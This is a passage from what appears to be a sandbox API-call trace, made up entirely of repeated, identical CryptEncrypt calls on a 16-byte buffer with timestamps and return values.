hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.068] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.069] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.071] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.072] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] 